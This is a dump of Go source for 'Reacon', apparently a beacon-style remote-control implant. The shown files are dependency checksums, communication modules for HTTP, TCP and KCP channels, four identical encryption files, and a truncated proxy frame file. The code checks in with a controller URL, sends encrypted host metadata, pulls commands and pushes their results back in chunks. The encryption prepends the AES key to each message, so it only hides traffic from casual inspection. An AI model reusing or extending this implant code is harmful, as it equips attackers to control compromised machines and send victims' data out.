github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= 2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 6 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 7 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 8 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 9 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= 10 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= 11 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 12 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 13 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= 14 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= 15 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= 16 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= 17 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 18 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 19 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= 20 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= 21 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 22 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 23 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 24 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 25 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 26 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 27 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 28 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 29 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 30 | -------------------------------------------------------------------------------- /Reacon_http/pkg/communication/communication.go: -------------------------------------------------------------------------------- 1 | package communication 2 | 3 | import ( 4 | "Reacon/pkg/config" 5 | "Reacon/pkg/encrypt" 6 | "Reacon/pkg/utils" 7 | "bytes" 8 | "encoding/binary" 9 | "fmt" 10 | "sync" 11 | "time" 12 | ) 13 | 14 | var ( 15 | encryptedMetaInfo []byte 16 | ) 17 | 18 | func FirstBlood() error { 19 | var err error 20 | encryptedMetaInfo, err = utils.EncryptedMetaInfo() 21 | if err != nil { 22 | return err 23 | } 24 | encryptedMetaInfo, err = encrypt.EncodeBase64(encryptedMetaInfo) 25 | if err != nil { 26 | return err 27 | } 28 | for { 29 | _, err := HttpGet(config.GetUrl, encryptedMetaInfo) 30 | if err == nil { 31 | //fmt.Println("firstblood: " + string(data)) 32 | break 33 | } else { 34 | fmt.Println("firstblood error: " + err.Error()) 35 | } 36 | time.Sleep(500 * time.Millisecond) 37 | } 38 | time.Sleep(3000 * time.Millisecond) 39 | return err 40 | } 41 | 42 | func PullCommand() ([]byte, error) { 43 | data, err := HttpGet(config.GetUrl, encryptedMetaInfo) 44 | if err != nil { 45 | return nil, err 46 | } 47 | return data, err 48 | } 49 | func ErrorProcess(err error) { 50 | errMsgBytes := []byte(err.Error()) 51 | result := errMsgBytes 52 | fmt.Println(err) 53 | criticalSection(31, result) 54 | } 55 | 56 | func DataProcess(callbackType int, b []byte) { 57 | result := b 58 | var err error 59 | if callbackType == 0 { 60 | result, err = utils.CodepageToUTF8(b) 61 | if err != nil { 62 | ErrorProcess(err) 63 | } 64 | } 65 | _, err = criticalSection(callbackType, result) 66 | if err != nil { 67 | ErrorProcess(err) 68 | } 69 | } 70 | 71 | var mutex sync.Mutex 72 | 73 | func criticalSection(callbackType int, b []byte) ([]byte, error) { 74 | mutex.Lock() 75 | finalPaket := MakePacket(callbackType, b) 76 | result, err := PushResult(finalPaket) 77 | mutex.Unlock() 78 | return result, err 79 | } 80 | 81 | // replyType(4) | result 并加密 82 | func MakePacket(replyType int, b []byte) []byte { 83 | buf := new(bytes.Buffer) 84 | 85 | replyTypeBytes := make([]byte, 4) 86 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType)) 87 | buf.Write(replyTypeBytes) 88 | 89 | buf.Write(b) 90 | 91 | encrypted, err := encrypt.Encrypt(buf.Bytes()) 92 | if err != nil { 93 | return nil 94 | } 95 | 96 | buf.Reset() 97 | 98 | buf.Write(encrypted) 99 | 100 | return buf.Bytes() 101 | 102 | } 103 | func PushResult(b []byte) ([]byte, error) { 104 | url := config.PostUrl 105 | data, err := HttpPost(url, b, encryptedMetaInfo) 106 | //fmt.Println("pushresult success") 107 | if err != nil { 108 | return nil, err 109 | } 110 | return data, err 111 | } 112 | -------------------------------------------------------------------------------- /Reacon_http/go.sum: -------------------------------------------------------------------------------- 1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= 2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 6 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 7 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 8 | github.com/imroc/req v0.3.2 h1:M/JkeU6RPmX+WYvT2vaaOL0K+q8ufL5LxwvJc4xeB4o= 9 | github.com/imroc/req v0.3.2/go.mod h1:F+NZ+2EFSo6EFXdeIbpfE9hcC233id70kf0byW97Caw= 10 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 11 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= 12 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= 13 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 14 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 15 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= 16 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= 17 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= 18 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= 19 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 20 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 21 | golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= 22 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= 23 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 24 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 25 | golang.org/x/sys v0.27.0 h1:wBqf8DvsY9Y/2P8gAfPDEYNuS30J4lPHJxXSb/nJZ+s= 26 | golang.org/x/sys v0.27.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 27 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 28 | golang.org/x/text v0.20.0 h1:gK/Kv2otX8gz+wn7Rmb3vT96ZwuoxnQlY+HlJVj7Qug= 29 | golang.org/x/text v0.20.0/go.mod h1:D4IsuqiFMhST5bX19pQ9ikHC2GsaKyk/oF+pn3ducp4= 30 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 31 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 32 | -------------------------------------------------------------------------------- /Reacon_http/pkg/encrypt/encrypt.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "encoding/hex" 9 | "fmt" 10 | "io" 11 | r "math/rand" 12 | "time" 13 | ) 14 | 15 | // 密钥生成 16 | func generateKey() []byte { 17 | key := make([]byte, 32) // 256 bits key 18 | if _, err := rand.Read(key); err != nil { 19 | panic(err) 20 | } 21 | return key 22 | } 23 | 24 | // 加密函数 25 | func encryptAES(data []byte, key []byte) ([]byte, error) { 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | ciphertext := make([]byte, aes.BlockSize+len(data)) 32 | iv := ciphertext[:aes.BlockSize] 33 | 34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 35 | return nil, err 36 | } 37 | 38 | stream := cipher.NewCFBEncrypter(block, iv) 39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data) 40 | 41 | return ciphertext, nil 42 | } 43 | 44 | // 解密函数 45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) { 46 | block, err := aes.NewCipher(key) 47 | if err != nil { 48 | return nil, err 49 | } 50 | 51 | if len(ciphertext) < aes.BlockSize { 52 | return nil, fmt.Errorf("ciphertext is too short") 53 | } 54 | 55 | iv := ciphertext[:aes.BlockSize] 56 | ciphertext = ciphertext[aes.BlockSize:] 57 | 58 | stream := cipher.NewCFBDecrypter(block, iv) 59 | stream.XORKeyStream(ciphertext, ciphertext) 60 | 61 | return ciphertext, nil 62 | } 63 | 64 | func Encrypt(data []byte) ([]byte, error) { 65 | key := generateKey() 66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key) 67 | // key与加密结果放到一起 68 | keyAndData := append(key, encryptedData...) 69 | return keyAndData, nil 70 | } 71 | func RandomInt(min, max int) int { 72 | r.Seed(time.Now().UnixNano()) 73 | return min + r.Intn(max-min) 74 | } 75 | 76 | func Decrypt(data []byte) ([]byte, error) { 77 | if len(data) < 32 { 78 | return nil, fmt.Errorf("data is too short") 79 | } 80 | key := data[:32] 81 | encryptedData := data[32:] 82 | decryptedData, _ := decryptAES(encryptedData, key) 83 | plainData, _ := hex.DecodeString(string(decryptedData)) 84 | return plainData, nil 85 | } 86 | 87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte 88 | func EncodeBase64(data []byte) ([]byte, error) { 89 | encodedString := base64.StdEncoding.EncodeToString(data) 90 | return []byte(encodedString), nil 91 | } 92 | 93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte 94 | func DecodeBase64(encodedData []byte) ([]byte, error) { 95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData)) 96 | if err != nil { 97 | return nil, err 98 | } 99 | return decodedData, nil 100 | } 101 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/encrypt/encrypt.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "encoding/hex" 9 | "fmt" 10 | "io" 11 | r "math/rand" 12 | "time" 13 | ) 14 | 15 | // 密钥生成 16 | func generateKey() []byte { 17 | key := make([]byte, 32) // 256 bits key 18 | if _, err := rand.Read(key); err != nil { 19 | panic(err) 20 | } 21 | return key 22 | } 23 | 24 | // 加密函数 25 | func encryptAES(data []byte, key []byte) ([]byte, error) { 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | ciphertext := make([]byte, aes.BlockSize+len(data)) 32 | iv := ciphertext[:aes.BlockSize] 33 | 34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 35 | return nil, err 36 | } 37 | 38 | stream := cipher.NewCFBEncrypter(block, iv) 39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data) 40 | 41 | return ciphertext, nil 42 | } 43 | 44 | // 解密函数 45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) { 46 | block, err := aes.NewCipher(key) 47 | if err != nil { 48 | return nil, err 49 | } 50 | 51 | if len(ciphertext) < aes.BlockSize { 52 | return nil, fmt.Errorf("ciphertext is too short") 53 | } 54 | 55 | iv := ciphertext[:aes.BlockSize] 56 | ciphertext = ciphertext[aes.BlockSize:] 57 | 58 | stream := cipher.NewCFBDecrypter(block, iv) 59 | stream.XORKeyStream(ciphertext, ciphertext) 60 | 61 | return ciphertext, nil 62 | } 63 | 64 | func Encrypt(data []byte) ([]byte, error) { 65 | key := generateKey() 66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key) 67 | // key与加密结果放到一起 68 | keyAndData := append(key, encryptedData...) 69 | return keyAndData, nil 70 | } 71 | func RandomInt(min, max int) int { 72 | r.Seed(time.Now().UnixNano()) 73 | return min + r.Intn(max-min) 74 | } 75 | 76 | func Decrypt(data []byte) ([]byte, error) { 77 | if len(data) < 32 { 78 | return nil, fmt.Errorf("data is too short") 79 | } 80 | key := data[:32] 81 | encryptedData := data[32:] 82 | decryptedData, _ := decryptAES(encryptedData, key) 83 | plainData, _ := hex.DecodeString(string(decryptedData)) 84 | return plainData, nil 85 | } 86 | 87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte 88 | func EncodeBase64(data []byte) ([]byte, error) { 89 | encodedString := base64.StdEncoding.EncodeToString(data) 90 | return []byte(encodedString), nil 91 | } 92 | 93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte 94 | func DecodeBase64(encodedData []byte) ([]byte, error) { 95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData)) 96 | if err != nil { 97 | return nil, err 98 | } 99 | return decodedData, nil 100 | } 101 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/encrypt/encrypt.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "encoding/hex" 9 | "fmt" 10 | "io" 11 | r "math/rand" 12 | "time" 13 | ) 14 | 15 | // 密钥生成 16 | func generateKey() []byte { 17 | key := make([]byte, 32) // 256 bits key 18 | if _, err := rand.Read(key); err != nil { 19 | panic(err) 20 | } 21 | return key 22 | } 23 | 24 | // 加密函数 25 | func encryptAES(data []byte, key []byte) ([]byte, error) { 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | ciphertext := make([]byte, aes.BlockSize+len(data)) 32 | iv := ciphertext[:aes.BlockSize] 33 | 34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 35 | return nil, err 36 | } 37 | 38 | stream := cipher.NewCFBEncrypter(block, iv) 39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data) 40 | 41 | return ciphertext, nil 42 | } 43 | 44 | // 解密函数 45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) { 46 | block, err := aes.NewCipher(key) 47 | if err != nil { 48 | return nil, err 49 | } 50 | 51 | if len(ciphertext) < aes.BlockSize { 52 | return nil, fmt.Errorf("ciphertext is too short") 53 | } 54 | 55 | iv := ciphertext[:aes.BlockSize] 56 | ciphertext = ciphertext[aes.BlockSize:] 57 | 58 | stream := cipher.NewCFBDecrypter(block, iv) 59 | stream.XORKeyStream(ciphertext, ciphertext) 60 | 61 | return ciphertext, nil 62 | } 63 | 64 | func Encrypt(data []byte) ([]byte, error) { 65 | key := generateKey() 66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key) 67 | // key与加密结果放到一起 68 | keyAndData := append(key, encryptedData...) 69 | return keyAndData, nil 70 | } 71 | func RandomInt(min, max int) int { 72 | r.Seed(time.Now().UnixNano()) 73 | return min + r.Intn(max-min) 74 | } 75 | 76 | func Decrypt(data []byte) ([]byte, error) { 77 | if len(data) < 32 { 78 | return nil, fmt.Errorf("data is too short") 79 | } 80 | key := data[:32] 81 | encryptedData := data[32:] 82 | decryptedData, _ := decryptAES(encryptedData, key) 83 | plainData, _ := hex.DecodeString(string(decryptedData)) 84 | return plainData, nil 85 | } 86 | 87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte 88 | func EncodeBase64(data []byte) ([]byte, error) { 89 | encodedString := base64.StdEncoding.EncodeToString(data) 90 | return []byte(encodedString), nil 91 | } 92 | 93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte 94 | func DecodeBase64(encodedData []byte) ([]byte, error) { 95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData)) 96 | if err != nil { 97 | return nil, err 98 | } 99 | return decodedData, nil 100 | } 101 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/encrypt/encrypt.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "encoding/hex" 9 | "fmt" 10 | "io" 11 | r "math/rand" 12 | "time" 13 | ) 14 | 15 | // 密钥生成 16 | func generateKey() []byte { 17 | key := make([]byte, 32) // 256 bits key 18 | if _, err := rand.Read(key); err != nil { 19 | panic(err) 20 | } 21 | return key 22 | } 23 | 24 | // 加密函数 25 | func encryptAES(data []byte, key []byte) ([]byte, error) { 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | ciphertext := make([]byte, aes.BlockSize+len(data)) 32 | iv := ciphertext[:aes.BlockSize] 33 | 34 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 35 | return nil, err 36 | } 37 | 38 | stream := cipher.NewCFBEncrypter(block, iv) 39 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data) 40 | 41 | return ciphertext, nil 42 | } 43 | 44 | // 解密函数 45 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) { 46 | block, err := aes.NewCipher(key) 47 | if err != nil { 48 | return nil, err 49 | } 50 | 51 | if len(ciphertext) < aes.BlockSize { 52 | return nil, fmt.Errorf("ciphertext is too short") 53 | } 54 | 55 | iv := ciphertext[:aes.BlockSize] 56 | ciphertext = ciphertext[aes.BlockSize:] 57 | 58 | stream := cipher.NewCFBDecrypter(block, iv) 59 | stream.XORKeyStream(ciphertext, ciphertext) 60 | 61 | return ciphertext, nil 62 | } 63 | 64 | func Encrypt(data []byte) ([]byte, error) { 65 | key := generateKey() 66 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key) 67 | // key与加密结果放到一起 68 | keyAndData := append(key, encryptedData...) 69 | return keyAndData, nil 70 | } 71 | func RandomInt(min, max int) int { 72 | r.Seed(time.Now().UnixNano()) 73 | return min + r.Intn(max-min) 74 | } 75 | 76 | func Decrypt(data []byte) ([]byte, error) { 77 | if len(data) < 32 { 78 | return nil, fmt.Errorf("data is too short") 79 | } 80 | key := data[:32] 81 | encryptedData := data[32:] 82 | decryptedData, _ := decryptAES(encryptedData, key) 83 | plainData, _ := hex.DecodeString(string(decryptedData)) 84 | return plainData, nil 85 | } 86 | 87 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte 88 | func EncodeBase64(data []byte) ([]byte, error) { 89 | encodedString := base64.StdEncoding.EncodeToString(data) 90 | return []byte(encodedString), nil 91 | } 92 | 93 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte 94 | func DecodeBase64(encodedData []byte) ([]byte, error) { 95 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData)) 96 | if err != nil { 97 | return nil, err 98 | } 99 | return decodedData, nil 100 | } 101 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/communication/communication.go: -------------------------------------------------------------------------------- 1 | package communication 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/utils" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "net" 10 | "sync" 11 | ) 12 | 13 | func ErrorProcess(err error) { 14 | errMsgBytes := []byte(err.Error()) 15 | result := errMsgBytes 16 | fmt.Println(err) 17 | criticalSection(31, result) 18 | } 19 | 20 | func DataProcess(callbackType int, b []byte) { 21 | result := b 22 | var err error 23 | if callbackType == 0 { 24 | result, err = utils.CodepageToUTF8(b) 25 | if err != nil { 26 | ErrorProcess(err) 27 | } 28 | } 29 | criticalSection(callbackType, result) 30 | } 31 | 32 | var mutex sync.Mutex 33 | 34 | func criticalSection(callbackType int, b []byte) { 35 | mutex.Lock() 36 | 37 | finalPaket := MakePacket(callbackType, b) 38 | finalPaket, _ = encrypt.Encrypt(finalPaket) 39 | finalPaket, _ = encrypt.EncodeBase64(finalPaket) 40 | 41 | MetaLen := len(utils.MetaInfo) 42 | MetaLenBytes := utils.WriteInt(MetaLen) 43 | 44 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket) 45 | 46 | normalDataInt := 2 47 | normalDataBytes := utils.WriteInt(normalDataInt) 48 | msgToSend := utils.BytesCombine(normalDataBytes, msg) 49 | 50 | Send(msgToSend, utils.TCPClient) 51 | mutex.Unlock() 52 | } 53 | func Send(msg []byte, conn net.Conn) { 54 | defer func() { 55 | if err := recover(); err != nil { 56 | //log.Println("Send error:", err) 57 | } 58 | }() 59 | 60 | if conn == nil { 61 | //log.Println("Connection not established") 62 | return 63 | } 64 | 65 | bufferSize := len(msg) 66 | bufferSizeBytes := utils.WriteInt(bufferSize) 67 | 68 | msgToSend := utils.BytesCombine(bufferSizeBytes, msg) 69 | 70 | const chunkSize = 50 * 1024 // 50 KB 71 | var chunk []byte 72 | 73 | for bytesSent := 0; bytesSent < len(msgToSend); { 74 | if len(msgToSend)-bytesSent > chunkSize { 75 | chunk = msgToSend[bytesSent : bytesSent+chunkSize] 76 | } else { 77 | chunk = msgToSend[bytesSent:] 78 | } 79 | 80 | _, err := conn.Write(chunk) 81 | if err != nil { 82 | //log.Println("Failed to send data:", err) 83 | return 84 | } 85 | 86 | bytesSent += len(chunk) 87 | } 88 | 89 | } 90 | 91 | // replyType(4) | result 并加密 92 | func MakePacket(replyType int, b []byte) []byte { 93 | buf := new(bytes.Buffer) 94 | 95 | replyTypeBytes := make([]byte, 4) 96 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType)) 97 | buf.Write(replyTypeBytes) 98 | 99 | buf.Write(b) 100 | 101 | encrypted, err := encrypt.Encrypt(buf.Bytes()) 102 | if err != nil { 103 | return nil 104 | } 105 | 106 | buf.Reset() 107 | 108 | buf.Write(encrypted) 109 | 110 | return buf.Bytes() 111 | 112 | } 113 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/communication/communication.go: -------------------------------------------------------------------------------- 1 | package communication 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/utils" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "github.com/xtaci/kcp-go/v5" 10 | "sync" 11 | ) 12 | 13 | func ErrorProcess(err error) { 14 | errMsgBytes := []byte(err.Error()) 15 | result := errMsgBytes 16 | fmt.Println(err) 17 | criticalSection(31, result) 18 | } 19 | 20 | func DataProcess(callbackType int, b []byte) { 21 | result := b 22 | var err error 23 | if callbackType == 0 { 24 | result, err = utils.CodepageToUTF8(b) 25 | if err != nil { 26 | ErrorProcess(err) 27 | } 28 | } 29 | criticalSection(callbackType, result) 30 | } 31 | 32 | var mutex sync.Mutex 33 | 34 | func criticalSection(callbackType int, b []byte) { 35 | mutex.Lock() 36 | 37 | finalPaket := MakePacket(callbackType, b) 38 | finalPaket, _ = encrypt.Encrypt(finalPaket) 39 | finalPaket, _ = encrypt.EncodeBase64(finalPaket) 40 | 41 | MetaLen := len(utils.MetaInfo) 42 | MetaLenBytes := utils.WriteInt(MetaLen) 43 | 44 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket) 45 | 46 | normalDataInt := 2 47 | normalDataBytes := utils.WriteInt(normalDataInt) 48 | msgToSend := utils.BytesCombine(normalDataBytes, msg) 49 | 50 | Send(msgToSend, utils.KCPClient) 51 | mutex.Unlock() 52 | } 53 | func Send(msg []byte, conn *kcp.UDPSession) { 54 | defer func() { 55 | if err := recover(); err != nil { 56 | //log.Println("Send error:", err) 57 | } 58 | }() 59 | 60 | if conn == nil { 61 | //log.Println("Connection not established") 62 | return 63 | } 64 | 65 | bufferSize := len(msg) 66 | bufferSizeBytes := utils.WriteInt(bufferSize) 67 | 68 | msgToSend := utils.BytesCombine(bufferSizeBytes, msg) 69 | 70 | const chunkSize = 50 * 1024 // 50 KB 71 | var chunk []byte 72 | 73 | for bytesSent := 0; bytesSent < len(msgToSend); { 74 | if len(msgToSend)-bytesSent > chunkSize { 75 | chunk = msgToSend[bytesSent : bytesSent+chunkSize] 76 | } else { 77 | chunk = msgToSend[bytesSent:] 78 | } 79 | 80 | _, err := conn.Write(chunk) 81 | if err != nil { 82 | //log.Println("Failed to send data:", err) 83 | return 84 | } 85 | 86 | bytesSent += len(chunk) 87 | } 88 | 89 | } 90 | 91 | // replyType(4) | result 并加密 92 | func MakePacket(replyType int, b []byte) []byte { 93 | buf := new(bytes.Buffer) 94 | 95 | replyTypeBytes := make([]byte, 4) 96 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType)) 97 | buf.Write(replyTypeBytes) 98 | 99 | buf.Write(b) 100 | 101 | encrypted, err := encrypt.Encrypt(buf.Bytes()) 102 | if err != nil { 103 | return nil 104 | } 105 | 106 | buf.Reset() 107 | 108 | buf.Write(encrypted) 109 | 110 | return buf.Bytes() 111 | 112 | } 113 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/mux/frame.go: -------------------------------------------------------------------------------- 1 | package mux 2 | 3 | import ( 4 | "crypto/cipher" 5 | "crypto/rand" 6 | "encoding/binary" 7 | "fmt" 8 | "io" 9 | "math" 10 | 11 | "golang.org/x/crypto/chacha20poly1305" 12 | ) 13 | 14 | type frameHeader struct { 15 | id uint32 16 | length uint16 17 | flags uint16 18 | nonce [chacha20poly1305.NonceSizeX]byte 19 | } 20 | 21 | const ( 22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size 23 | maxPayloadSize = math.MaxUint16 24 | ) 25 | 26 | const ( 27 | flagData = iota + 1 // data frame 